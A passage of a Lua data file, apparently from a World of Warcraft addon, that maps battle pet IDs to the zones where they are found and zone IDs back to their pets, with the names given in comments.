[1146] = { [162] = 162 }, -- Stitched Pup
[485] = { [66] = 66 }, -- Stone Armadillo
[2579] = { [471] = 471 }, -- Stoneclaw
[1515] = { [535] = 535 }, -- Stonegrinder
[1721] = { [634] = 634 }, -- Stormborne Whelpling
[1917] = { [634] = 634 }, -- Stormstruck Beaver
[675] = { [37] = 37, [84] = 84 }, -- Stormwind Rat
[2702] = { [1355] = 1355 }, -- Stormwrath
[1518] = { [1] = 1, [27] = 27 }, -- Stout Alemental
[553] = { [207] = 207 }, -- Stowaway Rat
[401] = { [62] = 62, [27] = 27, [179] = 179, [50] = 50, [51] = 51, [210] = 210, [115] = 115, [194] = 194, [174] = 174, [542] = 542 }, -- Strand Crab
[211] = { [85] = 85 }, -- Strand Crawler
[432] = { [71] = 71, [15] = 15, [108] = 108 }, -- Stripe-Tailed Scorpid
[532] = { [119] = 119 }, -- Stunted Shardhorn
[1158] = { [69] = 69 }, -- Stunted Yeti
[1128] = { [418] = 418 }, -- Sumprush Rodent
[1434] = { [585] = 585, [579] = 579 }, -- Sun Sproutling
[1632] = { [335] = 335 }, -- Sunblade Micro-Defender
[1885] = { [634] = 634 }, -- Sunborne Val'kyr
[1570] = { [585] = 585, [579] = 579 }, -- Sunfire Kaliri
[1178] = { [504] = 504 }, -- Sunreaver Micro-Sentry
[2793] = { [942] = 942 }, -- Sunsoaked Flitter
[2088] = { [367] = 367 }, -- Surger
[1182] = { [504] = 504 }, -- Swamp Croaker
[402] = { [51] = 51 }, -- Swamp Moth
[2419] = { [863] = 863 }, -- Swamp Toad
[1590] = { [542] = 542, [650] = 650 }, -- Swamplighter Firefly
[497] = { [77] = 77, [104] = 104, [539] = 539 }, -- Tainted Cockroach
[498] = { [77] = 77 }, -- Tainted Moth
[499] = { [77] = 77 }, -- Tainted Rat
[1231] = { [332] = 332 }, -- Tainted Waveling
[2540] = { [862] = 862 }, -- Tanzil
[2198] = { [896] = 896 }, -- Taptaf
[2435] = { [14] = 14 }, -- Teeny Titan Orb
[204] = { [118] = 118 }, -- Teldrassil Sproutling
[567] = { [371] = 371 }, -- Temple Snake
[1416] = { [535] = 535 }, -- Teroclaw Hatchling
[650] = { [376] = 376 }, -- Terrible Turnip
[1735] = { [641] = 641 }, -- Terror Larva
[1456] = { [542] = 542 }, -- Thicket Skitterer
[1810] = { [680] = 680 }, -- Thornclaw Broodling
[2529] = { [1352] = 1352 }, -- Thunder Lizard Runt
[1175] = { [504] = 504 }, -- Thundertail Flapper
[1230] = { [332] = 332 }, -- Tideskipper
[1750] = { [634] = 634 }, -- Tiny Apparition
[509] = { [56] = 56 }, -- Tiny Bog Beast
[2412] = { [862] = 862 }, -- Tiny Direhorn
[287] = { [36] = 36 }, -- Tiny Flamefly
[652] = { [418] = 418 }, -- Tiny Goldfish
[389] = { [52] = 52 }, -- Tiny Harvester
[279] = { [207] = 207 }, -- Tiny Shale Spider
[167] = { [102] = 102 }, -- Tiny Sporebat
[445] = { [14] = 14 }, -- Tiny Twister
[2078] = { [285] = 285 }, -- Tinytron
[206] = { [118] = 118 }, -- Tirisfal Batling
[420] = { [63] = 63, [1] = 1, [70] = 70, [77] = 77, [85] = 85, [57] = 57, [94] = 94, [95] = 95, [25] = 25, [21] = 21, [51] = 51, [241] = 241, [56] = 56, [107] = 107, [117] = 117, [550] = 550 }, -- Toad
[546] = { [249] = 249 }, -- Tol'vir Scarab
[480] = { [66] = 66, [207] = 207 }, -- Topaz Shale Hatchling
[2143] = { [947] = 947 }, -- Tottle
[2415] = { [863] = 863 }, -- Tragg the Curious
[2004] = { [125] = 125, [627] = 627 }, -- Trashy
[2539] = { [895] = 895 }, -- Trecker
[65] = { [407] = 407 }, -- Tree Frog
[405] = { [78] = 78, [50] = 50, [210] = 210, [534] = 534, [577] = 577 }, -- Tree Python
[2659] = { [1512] = 1512 }, -- Trench Slug
[2057] = { [52] = 52 }, -- Tricorne
[536] = { [114] = 114, [115] = 115 }, -- Tundra Penguin
[525] = { [117] = 117 }, -- Turkey
[473] = { [76] = 76 }, -- Turquoise Turtle
[469] = { [76] = 76, [198] = 198, [207] = 207 }, -- Twilight Beetle
[2081] = { [294] = 294 }, -- Twilight Clutch-Sister
[552] = { [241] = 241 }, -- Twilight Fiendling
[505] = { [64] = 64 }, -- Twilight Iguana
[470] = { [76] = 76, [241] = 241, [207] = 207 }, -- Twilight Spider
[1464] = { [525] = 525, [543] = 543 }, -- Twilight Wasp
[2677] = { [241] = 241 }, -- Twilight Whelpling
[2022] = { [503] = 503 }, -- Tylarr Gronnden
[1538] = { [104] = 104, [539] = 539 }, -- Umbrafen Spore
[55] = { [18] = 18, [109] = 109 }, -- Undercity Cockroach
[454] = { [18] = 18 }, -- Undercity Rat
[1151] = { [287] = 287 }, -- Untamed Hatchling
[1921] = { [680] = 680 }, -- Untethered Wyrmling
[2136] = { [885] = 885 }, -- Uuna
[1737] = { [641] = 641 }, -- Vale Flitter
[2375] = { [942] = 942 }, -- Vale Marmot
[2376] = { [942] = 942 }, -- Valley Chicken
[187] = { [350] = 350, [809] = 809 }, -- Vampiric Batling
[1596] = { [542] = 542 }, -- Veilwatcher Hatchling
[1344] = { [554] = 554 }, -- Vengeful Porcupette
[506] = { [65] = 65 }, -- Venomspitter Hatchling
[1807] = { [680] = 680 }, -- Vicious Broodling
[1591] = { [534] = 534, [577] = 577 }, -- Violet Firefly
[1154] = { [319] = 319 }, -- Viscidus Globule
[1244] = { [508] = 508 }, -- Viscous Horror
[2549] = { [62] = 62 }, -- Void Jelly
[2130] = { [882] = 882 }, -- Void Shardling
[2129] = { [882] = 882 }, -- Voidstalker Runt
[2434] = { [14] = 14 }, -- Voidwiggler
[1013] = { [418] = 418 }, -- Wanderer's Festival Hatchling
[517] = { [108] = 108 }, -- Warpstalker Hatchling
[2128] = { [882] = 882 }, -- Warpstalker Runt
[418] = { [1] = 1, [85] = 85, [50] = 50, [51] = 51, [241] = 241, [56] = 56 }, -- Water Snake
[535] = { [121] = 121 }, -- Water Waveling
[1593] = { [104] = 104, [539] = 539, [535] = 535, [534] = 534, [577] = 577 }, -- Waterfly
[2580] = { [471] = 471 }, -- Wayward Spirit
[1394] = { [585] = 585, [579] = 579 }, -- Weebomination
[84] = { [52] = 52 }, -- Westfall Chicken
[410] = { [210] = 210, [244] = 244, [245] = 245, [595] = 595 }, -- Wharf Rat
[46] = { [84] = 84 }, -- White Kitten
[141] = { [103] = 103 }, -- White Moth
[1968] = { [118] = 118, [186] = 186 }, -- Wicked Soul
[2411] = { [896] = 896 }, -- Wicker Pup
[1523] = { [84] = 84, [18] = 18 }, -- Widget the Departed
[400] = { [47] = 47 }, -- Widow Spiderling
[819] = { [371] = 371 }, -- Wild Crimson Hatchling
[818] = { [371] = 371 }, -- Wild Golden Hatchling
[817] = { [371] = 371 }, -- Wild Jade Hatchling
[548] = { [241] = 241 }, -- Wildhammer Gryphon Hatchling
[1959] = { [147] = 147 }, -- Winter Rageling
[306] = { [83] = 83 }, -- Winterspring Cub
[220] = { [62] = 62 }, -- Withers
[2482] = { [407] = 407 }, -- Wolf Balloon
[153] = { [1] = 1, [27] = 27 }, -- Wolpertinger
[64] = { [407] = 407 }, -- Wood Frog
[1463] = { [543] = 543 }, -- Wood Wasp
[89] = { [250] = 250 }, -- Worg Pup
[1634] = { [335] = 335 }, -- Wretched Servant
[2700] = { [1355] = 1355 }, -- Wriggler
[1266] = { [554] = 554 }, -- Xu-Fu, Cub of Xuen
[740] = { [422] = 422, [388] = 388 }, -- Yakrat
[2666] = { [1490] = 1490 }, -- Yellow Junkhopper
[140] = { [103] = 103 }, -- Yellow Moth
[752] = { [390] = 390 }, -- Yellow-Bellied Bullfrog
[549] = { [241] = 241 }, -- Yellow-Bellied Marmot
[1912] = { [125] = 125, [627] = 627 }, -- Young Mutant Warturtle
[2392] = { [863] = 863 }, -- Young Sand Sifter
[1304] = { [554] = 554 }, -- Yu'la, Broodling of Yu'lon
[1211] = { [507] = 507, [875] = 875 }, -- Zandalari Anklerender
[1212] = { [507] = 507, [875] = 875 }, -- Zandalari Footslasher
[1180] = { [507] = 507, [875] = 875 }, -- Zandalari Kneebiter
[2413] = { [862] = 862 }, -- Zandalari Shinchomper
[1213] = { [507] = 507, [875] = 875 }, -- Zandalari Toenibbler
[1582] = { [104] = 104, [539] = 539 }, -- Zangar Crawler
[1536] = { [534] = 534, [577] = 577 }, -- Zangar Spore
[2680] = { [76] = 76, [1512] = 1512 }, -- Zanj'ir Poker
[1305] = { [554] = 554 }, -- Zao, Calfling of Niuzao
[2084] = { [328] = 328 }, -- Zephyrian Prince
[2748] = { [23] = 23 }, -- Ziggy
[1428] = { [104] = 104, [539] = 539 }, -- Zomstrok
[2550] = { [62] = 62 }, -- Zur'aj the Depleted
}
Data.ZoneCompanions = {
[132] = { [412] = 412 }, -- Ahn'kahet: The Old Kingdom
[468] = { [397] = 397, [417] = 417, [379] = 379 }, -- Ammen Vale MoP
[885] = { [2122] = 2122, [2126] = 2126, [2115] = 2115, [2135] = 2135, [2136] = 2136 }, -- Antoran Wastes
[93] = { [417] = 417 }, -- Arathi Basin
[14] = { [445] = 445, [448] = 448, [419] = 419, [459] = 459, [417] = 417, [386] = 386, [443] = 443, [2432] = 2432, [2434] = 2434, [2436] = 2436, [2438] = 2438, [2440] = 2440, [2433] = 2433, [2441] = 2441, [2435] = 2435, [2437] = 2437 }, -- Arathi Highlands
[905] = { [2116] = 2116 }, -- Argus
[63] = { [450] = 450, [495] = 495, [496] = 496, [478] = 478, [420] = 420, [417] = 417, [424] = 424, [379] = 379 }, -- Ashenvale
[732] = { [417] = 417, [412] = 412 }, -- Assault on Violet Hold
[947] = { [2442] = 2442, [2143] = 2143, [2439] = 2439, [130] = 130, [2429] = 2429, [2474] = 2474, [2476] = 2476, [2199] = 2199, [2201] = 2201, [2475] = 2475, [2477] = 2477, [2530] = 2530 }, -- Azeroth
[76] = { [388] = 388, [397] = 397, [469] = 469, [470] = 470, [471] = 471, [472] = 472, [473] = 473, [417] = 417, [412] = 412, [424] = 424, [378] = 378, [379] = 379, [1728] = 1728, [1729] = 1729, [1914] = 1914, [2562] = 2562, [2680] = 2680, [2555] = 2555 }, -- Azshara
[630] = { [569] = 569, [1728] = 1728, [1729] = 1729, [1914] = 1914, [1708] = 1708, [1710] = 1710, [1716] = 1716, [1720] = 1720, [1731] = 1731, [1736] = 1736, [1773] = 1773, [1774] = 1774, [1931] = 1931, [1709] = 1709, [2077] = 2077 }, -- Azsuna
[97] = { [464] = 464 }, -- Azuremyst Isle
[15] = { [56] = 56, [398] = 398, [406] = 406, [430] = 430, [431] = 431, [432] = 432, [433] = 433, [438] = 438 }, -- Badlands
[1352] = { [2528] = 2528, [2527] = 2527, [2529] = 2529 }, -- Battle of Dazar'alor
[339] = { [1625] = 1625, [1628] = 1628, [1623] = 1623, [1626] = 1626, [1627] = 1627, [1624] = 1624, [412] = 412 }, -- Black Temple
[250] = { [89] = 89, [90] = 90 }, -- Blackrock Spire
[285] = { [2078] = 2078, [2080] = 2080, [2079] = 2079 }, -- Blackwing Descent
[287] = { [1151] = 1151, [1152] = 1152, [1153] = 1153 }, -- Blackwing Lair
[105] = { [449] = 449, [528] = 528, [414] = 414, [482] = 482, [1164] = 1164, [637] = 637, [378] = 378, [379] = 379 }, -- Blade's Edge Mountains
[17] = { [635] = 635, [1563] = 1563, [1387] = 1387, [414] = 414, [415] = 415, [412] = 412, [416] = 416 }, -- Blasted Lands
[106] = { [397] = 397, [465] = 465, [417] = 417, [627] = 627, [628] = 628 }, -- Bloodmyst Isle
[114] = { [639] = 639, [641] = 641, [388] = 388, [530] = 530, [536] = 536 }, -- Borean Tundra
[503] = { [1142] = 1142, [2022] = 2022 }, -- Brawl'gar Arena
[646] = { [2042] = 2042 }, -- Broken Shore
[36] = { [56] = 56, [393] = 393, [414] = 414, [415] = 415, [423] = 423, [425] = 425, [429] = 429, [287] = 287 }, -- Burning Steppes
[127] = { [190] = 190, [224] = 224, [236] = 236, [417] = 417, [378] = 378, [379] = 379, [1727] = 1727 }, -- Crystalsong Forest
[627] = { [193] = 193, [74] = 74, [1604] = 1604, [1429] = 1429, [1453] = 1453, [1715] = 1715, [1727] = 1727, [1755] = 1755, [1760] = 1760, [1778] = 1778, [1805] = 1805, [1912] = 1912, [1915] = 1915, [1754] = 1754, [1911] = 1911, [2004] = 2004, [2478] = 2478, [2479] = 2479, [1918] = 1918, [1919] = 1919, [1978] = 1978, [1979] = 1979 }, -- Dalaran
[125] = { [193] = 193, [74] = 74, [1604] = 1604, [1429] = 1429, [1453] = 1453, [1715] = 1715, [1727] = 1727, [1755] = 1755, [1760] = 1760, [1778] = 1778, [1805] = 1805, [1912] = 1912, [1915] = 1915, [1754] = 1754, [1911] = 1911, [2004] = 2004, [2478] = 2478, [2479] = 2479, [1918] = 1918, [1919] = 1919, [1978] = 1978, [1979] = 1979 }, -- Dalaran
[407] = { [64] = 64, [65] = 65, [1062] = 1062, [1276] = 1276, [330] = 330, [335] = 335, [336] = 336, [338] = 338, [339] = 339, [340] = 340, [343] = 343, [848] = 848, [1068] = 1068, [1061] = 1061, [1665] = 1665, [1666] = 1666, [2482] = 2482, [2484] = 2484, [2483] = 2483 }, -- Darkmoon Island
[62] = { [630] = 630, [508] = 508, [401] = 401, [417] = 417, [493] = 493, [220] = 220, [378] = 378, [379] = 379, [2544] = 2544, [2546] = 2546, [2548] = 2548, [2550] = 2550, [2549] = 2549, [2545] = 2545, [2547] = 2547, [2563] = 2563 }, -- Darkshore
[89] = { [452] = 452, [419] = 419, [478] = 478, [479] = 479 }, -- Darnassus
[42] = { [1160] = 1160, [439] = 439 }, -- Deadwind Pass
[207] = { [555] = 555, [469] = 469, [554] = 554, [470] = 470, [556] = 556, [559] = 559, [480] = 480, [837] = 837, [838] = 838, [293] = 293, [553] = 553, [279] = 279, [756] = 756 }, -- Deepholm
[66] = { [452] = 452, [419] = 419, [478] = 478, [479] = 479, [480] = 480, [482] = 482, [483] = 483, [838] = 838, [484] = 484, [417] = 417, [485] = 485, [424] = 424 }, -- Desolace
[409] = { [2090] = 2090 }, -- Dragon Soul
[115] = { [641] = 641, [536] = 536, [401] = 401, [198] = 198, [537] = 537 }, -- Dragonblight
[160] = { [417] = 417, [412] = 412 }, -- Drak'Tharon Keep
[422] = { [834] = 834, [742] = 742, [836] = 836, [740] = 740, [741] = 741, [743] = 743, [744] = 744, [745] = 745, [746] = 746, [732] = 732 }, -- Dread Wastes MoP
[896] = { [2378] = 2378, [2386] = 2386, [2406] = 2406, [2424] = 2424, [2189] = 2189, [2405] = 2405, [2407] = 2407, [2411] = 2411, [2408] = 2408, [2198] = 2198 }, -- Drustvar
[27] = { [1518] = 1518, [635] = 635, [166] = 166, [401] = 401, [404] = 404, [72] = 72, [417] = 417, [412] = 412, [424] = 424, [378] = 378, [440] = 440, [441] = 441, [442] = 442, [379] = 379, [153] = 153, [2533] = 2533, [2531] = 2531, [2532] = 2532 }, -- Dun Morogh
[1] = { [1518] = 1518, [635] = 635, [448] = 448, [166] = 166, [466] = 466, [467] = 467, [468] = 468, [418] = 418, [420] = 420, [1237] = 1237, [153] = 153 }, -- Durotar
[47] = { [385] = 385, [646] = 646, [396] = 396, [397] = 397, [398] = 398, [399] = 399, [400] = 400, [424] = 424, [378] = 378, [379] = 379 }, -- Duskwood
[70] = { [56] = 56, [385] = 385, [387] = 387, [646] = 646, [398] = 398, [232] = 232, [420] = 420, [412] = 412, [489] = 489, [379] = 379 }, -- Dustwallow Marsh
[23] = { [393] = 393, [457] = 457, [398] = 398, [286] = 286, [406] = 406, [414] = 414, [412] = 412, [626] = 626, [627] = 627, [628] = 628, [2748] = 2748, [2750] = 2750, [2747] = 2747, [2749] = 2749 }, -- Eastern Plaguelands
[37] = { [40] = 40, [447] = 447, [646] = 646, [41] = 41, [419] = 419, [459] = 459, [43] = 43, [45] = 45, [412] = 412, [675] = 675, [374] = 374, [378] = 378, [379] = 379 }, -- Elwynn Forest
[94] = { [387] = 387, [419] = 419, [459] = 459, [460] = 460, [142] = 142, [143] = 143, [144] = 144, [420] = 420, [378] = 378 }, -- Eversong Woods
[790] = { [1728] = 1728, [1729] = 1729, [1914] = 1914, [1926] = 1926 }, -- Eye of Azshara
[713] = { [1728] = 1728, [1729] = 1729, [1914] = 1914 }, -- Eye of Azshara
[77] = { [406] = 406, [420] = 420, [497] = 497, [498] = 498, [499] = 499, [500] = 500 }, -- Felwood
[69] = { [387] = 387, [59] = 59, [557] = 557, [87] = 87, [1158] = 1158, [378] = 378, [379] = 379 }, -- Feralas
[367] = { [2086] = 2086, [2087] = 2087, [2089] = 2089, [2088] = 2088 }, -- Firelands
[525] = { [1578] = 1578, [1579] = 1579, [541] = 541, [417] = 417, [1427] = 1427, [1457] = 1457, [1464] = 1464, [1471] = 1471 }, -- Frostfire Ridge
[585] = { [560] = 560, [1396] = 1396, [1688] = 1688, [1588] = 1588, [1598] = 1598, [1577] = 1577, [1661] = 1661, [1385] = 1385, [1545] = 1545, [1568] = 1568, [1442] = 1442, [1434] = 1434, [1570] = 1570, [1394] = 1394, [115] = 115, [1448] = 1448 }, -- Frostwall
[95] = { [450] = 450, [387] = 387, [419] = 419, [461] = 461, [463] = 463, [420] = 420, [417] = 417, [412] = 412 }, -- Ghostlands
[179] = { [397] = 397, [401] = 401, [417] = 417, [412] = 412, [424] = 424, [379] = 379 }, -- Gilneas
[202] = { [417] = 417, [412] = 412, [424] = 424 }, -- Gilneas City
[226] = { [1162] = 1162, [2534] = 2534 }, -- Gnomeregan
[543] = { [1564] = 1564, [449] = 449, [1537] = 1537, [393] = 393, [1594] = 1594, [1615] = 1615, [568] = 568, [702] = 702, [430] = 430, [1463] = 1463, [1465] = 1465, [1464] = 1464, [1469] = 1469, [1470] = 1470 }, -- Gorgrond
[606] = { [635] = 635 }, -- Grimrail Depot
[116] = { [385] = 385, [647] = 647, [534] = 534, [633] = 633 }, -- Grizzly Hills
[153] = { [234] = 234 }, -- Gundrak
[185] = { [412] = 412 }, -- Halls of Reflection
[474] = { [2586] = 2586, [2590] = 2590, [2587] = 2587, [2585] = 2585, [2589] = 2589 }, -- Heart of Fear MoP
[649] = { [1753] = 1753 }, -- Helheim
[661] = { [1672] = 1672 }, -- Hellfire Citadel
[100] = { [635] = 635, [414] = 414, [514] = 514 }, -- Hellfire Peninsula
[650] = { [391] = 391, [407] = 407, [569] = 569, [417] = 417, [487] = 487, [1441] = 1441, [1590] = 1590, [378] = 378, [379] = 379, [1711] = 1711, [1713] = 1713, [1726] = 1726, [1731] = 1731, [1743] = 1743, [1744] = 1744, [1752] = 1752, [1761] = 1761, [1762] = 1762, [1763] = 1763, [1775] = 1775, [1776] = 1776, [1884] = 1884, [1714] = 1714 }, -- Highmountain
[25] = { [640] = 640, [450] = 450, [646] = 646, [452] = 452, [648] = 648, [453] = 453, [42] = 42, [291] = 291, [1159] = 1159, [420] = 420, [417] = 417, [412] = 412, [378] = 378, [379] = 379 }, -- Hillsbrad Foothills
[117] = { [450] = 450, [644] = 644, [387] = 387, [646] = 646, [388] = 388, [523] = 523, [525] = 525, [529] = 529, [397] = 397, [198] = 198, [420] = 420, [417] = 417, [412] = 412, [424] = 424, [378] = 378, [379] = 379 }, -- Howling Fjord
[329] = { [1629] = 1629, [1622] = 1622, [1631] = 1631 }, -- Hyjal Summit
[118] = { [393] = 393, [229] = 229, [538] = 538, [204] = 204, [205] = 205, [206] = 206, [207] = 207, [212] = 212, [209] = 209, [213] = 213, [214] = 214, [412] = 412, [215] = 215, [216] = 216, [218] = 218, [424] = 424, [210] = 210, [1963] = 1963, [1964] = 1964, [1965] = 1965, [1966] = 1966, [1967] = 1967, [1968] = 1968 }, -- Icecrown
[186] = { [412] = 412, [424] = 424, [1963] = 1963, [1964] = 1964, [1965] = 1965, [1966] = 1966, [1967] = 1967, [1968] = 1968 }, -- Icecrown Citadel
[595] = { [393] = 393, [410] = 410 }, -- Iron Docks
[507] = { [1213] = 1213, [1211] = 1211, [1185] = 1185, [1180] = 1180, [1212] = 1212, [1205] = 1205 }, -- Isle of Giants
[504] = { [1181] = 1181, [1175] = 1175, [1179] = 1179, [1178] = 1178, [1182] = 1182 }, -- Isle of Thunder
[350] = { [187] = 187, [417] = 417, [412] = 412, [1227] = 1227, [1226] = 1226, [1228] = 1228, [1229] = 1229 }, -- Karazhan
[194] = { [401] = 401, [424] = 424 }, -- Kezan
[418] = { [388] = 388, [1013] = 1013, [1128] = 1128, [678] = 678, [560] = 560, [717] = 717, [708] = 708, [714] = 714, [718] = 718, [722] = 722, [723] = 723, [716] = 716, [652] = 652 }, -- Krasarang Wilds MoP
[830] = { [2124] = 2124, [2123] = 2123, [2127] = 2127 }, -- Krokuun
[48] = { [387] = 387, [419] = 419, [417] = 417, [437] = 437, [424] = 424, [379] = 379 }, -- Loch Modan
[579] = { [1396] = 1396, [1688] = 1688, [1588] = 1588, [1598] = 1598, [1577] = 1577, [1661] = 1661, [1385] = 1385, [1545] = 1545, [1568] = 1568, [1442] = 1442, [1434] = 1434, [1570] = 1570, [1394] = 1394, [115] = 115, [1448] = 1448 }, -- Lunarfall
[882] = { [2120] = 2120, [2128] = 2128, [2130] = 2130, [2132] = 2132, [2129] = 2129, [2134] = 2134, [2133] = 2133, [2131] = 2131 }, -- Mac'Aree
[348] = { [175] = 175, [379] = 379 }, -- Magisters' Terrace
[1490] = { [2662] = 2662, [2664] = 2664, [2668] = 2668, [2670] = 2670, [2672] = 2672, [2712] = 2712, [2718] = 2718, [2720] = 2720, [2756] = 2756, [2766] = 2766, [2666] = 2666, [2714] = 2714, [2715] = 2715, [2713] = 2713, [2661] = 2661, [2663] = 2663, [2665] = 2665, [2667] = 2667, [2669] = 2669, [2671] = 2671, [2673] = 2673, [2675] = 2675, [2711] = 2711, [2719] = 2719, [2753] = 2753, [2676] = 2676, [2674] = 2674 }, -- Mechagon
[471] = { [2582] = 2582, [2580] = 2580, [2579] = 2579, [2581] = 2581 }, -- Mogu'shan Vaults MoP
[232] = { [1544] = 1544, [1147] = 1147, [1149] = 1149, [1150] = 1150 }, -- Molten Core
[338] = { [317] = 317, [172] = 172, [318] = 318 }, -- Molten Front
[80] = { [341] = 341, [342] = 342, [478] = 478, [503] = 503, [378] = 378, [379] = 379 }, -- Moonglade
[198] = { [632] = 632, [259] = 259, [539] = 539, [540] = 540, [541] = 541, [547] = 547, [469] = 469, [478] = 478, [415] = 415, [479] = 479, [482] = 482, [487] = 487, [503] = 503, [378] = 378, [626] = 626, [755] = 755, [260] = 260, [379] = 379 }, -- Mount Hyjal
[7] = { [385] = 385, [70] = 70, [477] = 477, [386] = 386, [378] = 378 }, -- Mulgore
[107] = { [635] = 635, [1524] = 1524, [387] = 387, [518] = 518, [388] = 388, [397] = 397, [420] = 420, [417] = 417, [1435] = 1435, [1441] = 1441, [1446] = 1446, [386] = 386, [378] = 378, [379] = 379, [1764] = 1764, [1765] = 1765, [1766] = 1766 }, -- Nagrand
[550] = { [635] = 635, [1524] = 1524, [387] = 387, [518] = 518, [388] = 388, [397] = 397, [420] = 420, [417] = 417, [1435] = 1435, [1441] = 1441, [1446] = 1446, [386] = 386, [378] = 378, [379] = 379, [1764] = 1764, [1765] = 1765, [1766] = 1766 }, -- Nagrand
[162] = { [1146] = 1146, [1143] = 1143, [1144] = 1144, [417] = 417, [412] = 412 }, -- Naxxramas
[1355] = { [2648] = 2648, [2650] = 2650, [2652] = 2652, [2678] = 2678, [2684] = 2684, [2686] = 2686, [2690] = 2690, [2700] = 2700, [2702] = 2702, [2704] = 2704, [2706] = 2706, [2708] = 2708, [2710] = 2710, [2758] = 2758, [2760] = 2760, [2762] = 2762, [2761] = 2761, [2681] = 2681, [2763] = 2763, [2646] = 2646, [2682] = 2682, [2645] = 2645, [2647] = 2647, [2649] = 2649, [2651] = 2651, [2653] = 2653, [2698] = 2698, [2685] = 2685, [2689] = 2689, [2691] = 2691, [2693] = 2693, [2695] = 2695, [2697] = 2697, [2699] = 2699, [2701] = 2701, [2703] = 2703, [2707] = 2707, [2709] = 2709, [2757] = 2757, [2765] = 2765, [2660] = 2660 }, -- Nazjatar
[863] = { [2388] = 2388, [2392] = 2392, [2394] = 2394, [2398] = 2398, [2400] = 2400, [2414] = 2414, [2420] = 2420, [2424] = 2424, [2157] = 2157, [2389] = 2389, [2395] = 2395, [2415] = 2415, [2419] = 2419, [2393] = 2393, [2397] = 2397 }, -- Nazmir
[109] = { [638] = 638, [385] = 385, [521] = 521, [459] = 459, [136] = 136, [137] = 137, [51] = 51, [44] = 44, [145] = 145, [139] = 139, [55] = 55, [78] = 78 }, -- Netherstorm
[10] = { [631] = 631, [635] = 635, [419] = 419, [474] = 474, [1157] = 1157, [386] = 386 }, -- Northern Barrens
[50] = { [635] = 635, [387] = 387, [49] = 49, [401] = 401, [403] = 403, [404] = 404, [405] = 405, [406] = 406, [407] = 407, [408] = 408, [409] = 409, [239] = 239, [418] = 418, [421] = 421, [301] = 301, [424] = 424 }, -- Northern Stranglethorn
[85] = { [272] = 272, [1449] = 1449, [332] = 332, [792] = 792, [1331] = 1331, [1332] = 1332, [466] = 466, [467] = 467, [270] = 270, [471] = 471, [281] = 281, [282] = 282, [283] = 283, [1334] = 1334, [280] = 280, [414] = 414, [418] = 418, [420] = 420, [211] = 211, [75] = 75, [1322] = 1322, [412] = 412, [320] = 320, [78] = 78, [77] = 77, [629] = 629, [1890] = 1890, [2479] = 2479, [1919] = 1919, [1979] = 1979 }, -- Orgrimmar
[184] = { [412] = 412 }, -- Pit of Saron
[300] = { [424] = 424 }, -- Razorfen Downs
[49] = { [646] = 646, [391] = 391, [392] = 392, [395] = 395, [424] = 424, [378] = 378, [2525] = 2525 }, -- Redridge Mountains
[809] = { [187] = 187, [417] = 417, [412] = 412, [1227] = 1227, [1226] = 1226, [1228] = 1228, [1229] = 1229 }, -- Return to Karazhan
[217] = { [417] = 417, [412] = 412, [379] = 379 }, -- Ruins of Gilneas
[302] = { [417] = 417 }, -- Scarlet Monastery
[306] = { [417] = 417 }, -- Scholomance
[32] = { [415] = 415, [423] = 423, [427] = 427, [428] = 428 }, -- Searing Gorge
[332] = { [1230] = 1230, [1231] = 1231, [1232] = 1232 }, -- Serpentshrine Cavern
[104] = { [519] = 519, [1593] = 1593, [407] = 407, [1601] = 1601, [414] = 414, [1428] = 1428, [425] = 425, [1447] = 1447, [1582] = 1582, [412] = 412, [1455] = 1455, [1587] = 1587, [1538] = 1538, [497] = 497 }, -- Shadowmoon Valley
[539] = { [519] = 519, [1593] = 1593, [407] = 407, [1601] = 1601, [414] = 414, [1428] = 1428, [425] = 425, [1447] = 1447, [1582] = 1582, [412] = 412, [1455] = 1455, [1587] = 1587, [1538] = 1538, [497] = 497 }, -- Shadowmoon Valley
[111] = { [417] = 417 }, -- Shattrath City
[119] = { [387] = 387, [649] = 649, [1167] = 1167, [532] = 532, [379] = 379 }, -- Sholazar Basin
[556] = { [1331] = 1331, [1332] = 1332, [1334] = 1334, [1322] = 1322 }, -- Siege of Orgrimmar
[81] = { [511] = 511, [512] = 512, [513] = 513, [406] = 406, [414] = 414, [482] = 482, [484] = 484, [433] = 433, [2163] = 2163, [2439] = 2439, [2429] = 2429 }, -- Silithus
[110] = { [459] = 459, [378] = 378 }, -- Silvermoon City
[21] = { [387] = 387, [455] = 455, [420] = 420, [417] = 417, [378] = 378, [627] = 627, [628] = 628, [379] = 379 }, -- Silverpine Forest
[199] = { [631] = 631, [635] = 635, [419] = 419, [475] = 475, [386] = 386 }, -- Southern Barrens
[542] = { [635] = 635, [1532] = 1532, [1540] = 1540, [1541] = 1541, [1596] = 1596, [1573] = 1573, [401] = 401, [568] = 568, [1597] = 1597, [417] = 417, [1441] = 1441, [1456] = 1456, [1462] = 1462, [1590] = 1590, [379] = 379, [1592] = 1592 }, -- Spires of Arak
[65] = { [472] = 472, [417] = 417, [487] = 487, [488] = 488, [412] = 412, [424] = 424, [378] = 378, [633] = 633, [506] = 506 }, -- Stonetalon Mountains
[634] = { [1708] = 1708, [1712] = 1712, [1713] = 1713, [1721] = 1721, [1736] = 1736, [1743] = 1743, [1744] = 1744, [1749] = 1749, [1917] = 1917, [1750] = 1750, [1885] = 1885 }, -- Stormheim
[622] = { [1574] = 1574 }, -- Stormshield
[942] = { [2372] = 2372, [2374] = 2374, [2378] = 2378, [2404] = 2404, [2426] = 2426, [2428] = 2428, [2373] = 2373, [2375] = 2375, [2379] = 2379, [2403] = 2403, [2423] = 2423, [2427] = 2427, [2376] = 2376, [2421] = 2421, [2377] = 2377, [2422] = 2422, [2425] = 2425, [2794] = 2794, [2793] = 2793, [2792] = 2792 }, -- Stormsong Valley
[84] = { [1523] = 1523, [319] = 319, [417] = 417, [1521] = 1521, [46] = 46, [675] = 675, [378] = 378, [379] = 379, [1890] = 1890, [2478] = 2478, [1918] = 1918, [1978] = 1978 }, -- Stormwind City
[317] = { [417] = 417, [412] = 412, [424] = 424, [2638] = 2638 }, -- Stratholme
[335] = { [1634] = 1634, [1632] = 1632, [1633] = 1633 }, -- Sunwell Plateau
[680] = { [425] = 425, [1914] = 1914, [1717] = 1717, [1719] = 1719, [1807] = 1807, [1808] = 1808, [1809] = 1809, [1921] = 1921, [1922] = 1922, [1934] = 1934, [1810] = 1810 }, -- Suramar
[51] = { [648] = 648, [419] = 419, [401] = 401, [402] = 402, [403] = 403, [418] = 418, [420] = 420, [417] = 417, [422] = 422, [412] = 412 }, -- Swamp of Sorrows
